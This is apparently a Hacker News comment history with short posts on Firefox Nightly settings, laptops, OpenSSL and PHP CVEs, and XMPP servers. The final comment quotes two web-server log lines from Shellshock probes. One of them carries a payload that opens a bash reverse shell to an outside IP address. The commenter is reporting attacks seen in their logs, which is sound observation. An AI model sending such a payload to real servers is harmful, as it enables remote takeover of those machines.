Hacker News new | past | comments | ask | show | jobs | submit | geeknik's comments login

For the adventurous:

1) open about:config 2) set gfx.webrender.enabled to true 3) restart Nightly

For the even more adventurous:

1) open about:config 2) set gfx.webrender.enabled to true 3) set gfx.webrendest.enabled to true 4) restart Nightly


I have a couple of the T420s and with the exception of having to replace the CPU fans in both of them, I have no complaints.



I found an OpenSSL bug that was assigned CVE-2015-0208 and it is still embargoed near as I can tell.


I'm a sys admin and security researcher and I'm not a programmer by any stretch of the word. Nor do I have a CS related college degree. I'm an anomaly in the tech world. ;)


Been using 64 bit Nightly builds (from Mozilla) for years. Not sure why this is news.


Win64 builds have not been available in channels beyond Nightly until now. That's why it is news.


We really don't need more government regulation. I've got a bad feeling about this crap.


I'm sure it will turn out just as well as every other top down forced solution to a non-existent problem


I found an OpenSSL bug which was assigned CVE-2015-0208 (details forthcoming). I feel like that is a good achievement. Follows on the heels of the PHP5 bug I found in December(CVE-2014-9427).


I'm using Prosody. Supports TLS1.2 and Forward Secrecy.

Check your score on xmpp.net if you haven't already. ;)


I've only seen 2 requests in my logs:

access.log:89.207.135.125 - - [25/Sep/2014:06:28:08 +0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 447 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

access.log:202.38.120.248 - - [26/Sep/2014:13:38:10 +0000] "GET / HTTP/1.0" 200 473 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"


Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: